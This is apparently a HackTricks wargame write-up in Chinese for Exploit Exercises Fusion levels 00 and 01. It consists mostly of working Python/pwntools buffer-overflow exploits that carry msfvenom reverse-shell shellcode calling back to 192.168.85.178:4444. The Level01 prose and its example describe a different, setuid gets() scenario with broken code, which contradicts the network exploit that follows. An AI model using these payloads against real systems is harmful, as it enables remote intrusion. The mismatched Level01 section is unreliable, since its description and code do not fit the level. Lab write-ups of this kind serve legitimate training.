7.1 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。
Level00
http://exploit-exercises.lains.space/fusion/level00/
- 获取修改EIP的偏移量
- 将shellcode地址放入EIP中
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
Level01
Description
In this level, we will exploit a vulnerable binary called fusion
. This binary is a setuid root program that allows users to execute commands as the root user. Our goal is to find a way to execute arbitrary commands as the root user.
Vulnerability
The vulnerability lies in the way the fusion
binary handles user input. It uses the gets()
function to read user input into a buffer without any bounds checking. This allows us to overflow the buffer and overwrite the return address of the function, gaining control of the program's execution flow.
Exploitation
To exploit this vulnerability, we will craft a payload that overflows the buffer and overwrites the return address with the address of a shellcode. This shellcode will spawn a shell with root privileges, allowing us to execute arbitrary commands as the root user.
Steps
- Find the address of the buffer in memory using a debugger or by analyzing the binary.
- Craft a payload that overflows the buffer and overwrites the return address with the address of a shellcode.
- Execute the payload by running the
fusion
binary with the crafted input. - Gain a root shell and execute arbitrary commands.
Example
Here is an example of a payload that can be used to exploit the vulnerability:
import struct
# Address of the buffer in memory
buffer_address = 0xdeadbeef
# Address of the shellcode
shellcode_address = 0xcafebabe
# Offset to the return address
offset = 64
# Craft the payload
payload = b"A" * offset
payload += struct.pack("<Q", shellcode_address)
payload += b"\n"
# Run the fusion binary with the crafted input
command = f"./fusion <<< $(python -c 'print \"{payload}\"')"
os.system(command)
Mitigation
To mitigate this vulnerability, the fusion
binary should be modified to use a safer function for reading user input, such as fgets()
, which allows specifying the maximum number of characters to read. Additionally, the binary should drop its root privileges after performing any necessary operations as the root user.
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入 💬 Discord 群组 或 Telegram 群组,或者关注我在推特上的🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。